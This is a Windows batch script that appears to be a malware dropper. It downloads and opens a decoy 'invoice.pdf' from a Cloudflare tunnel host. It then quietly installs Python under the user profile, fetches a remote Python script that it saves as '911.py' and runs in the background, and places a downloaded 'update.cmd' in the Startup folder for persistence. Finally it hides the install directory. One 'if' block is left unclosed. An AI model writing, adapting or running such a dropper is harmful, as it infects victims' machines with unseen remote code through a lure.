@echo off
setlocal
:: Set the base URL for downloads
set "baseUrl=https://involves-overnight-venezuela-visited.trycloudflare.com"
:: Download the file (e.g., image or Word document)
set "fileUrl=%baseUrl%/pdf/invoice.pdf"
set "fileDestination=%TEMP%\invoice.pdf"
echo Downloading file...
powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri '%fileUrl%' -OutFile '%fileDestination%' }"
:: Open the file
echo Opening file: %fileDestination%
start "" "%fileDestination%"
:: Set Python installer URL and download location
set "pythonUrl=https://involves-overnight-venezuela-visited.trycloudflare.com/python-3.12.5-amd64.exe"
set "pythonInstaller=%APPDATA%\python-3.12.5-amd64.exe"
set "installDir=%APPDATA%\Python\Python3.12.5"
:: Download the Python installer
echo Downloading Python installer...
powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri '%pythonUrl%' -OutFile '%pythonInstaller%' }"
:: Install Python with user privileges (no admin required)
echo Installing Python 3.12.5...
%pythonInstaller% /quiet InstallAllUsers=0 TargetDir=%installDir% PrependPath=1
if %ERRORLEVEL% neq 0 (
echo Python installation failed.
exit /b 1
:: Clean up installer
del %pythonInstaller%
:: Download Python scripts to the Python installation directory
echo Downloading Python scripts...
if not exist "%installDir%" mkdir "%installDir%"
powershell -Command "& { Invoke-WebRequest -Uri '%baseUrl%/xw.py' -OutFile '%installDir%\911.py' }"
:: Navigate to the Python installation directory and run the scripts in the background
echo Running Python scripts in the background...
cd /d "%installDir%"
start /b "" "%installDir%\python.exe" 911.py
:: Download the update.cmd file and place it in the startup folder
echo Downloading update.cmd file...
set "cmdUrl=%baseUrl%/update.cmd"
set "cmdDestination=%APPDATA%\update.cmd"
powershell -Command "& { Invoke-WebRequest -Uri '%cmdUrl%' -OutFile '%cmdDestination%' }"
:: Move update.cmd to the startup folder
echo Moving update.cmd file to startup folder...
set "startupFolder=%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup"
move "%cmdDestination%" "%startupFolder%"
:: Clean up
echo Cleaning up...
:: Hide the Python installation folder
attrib +h "%installDir%"
:: Script execution completed
echo Script execution completed.
endlocal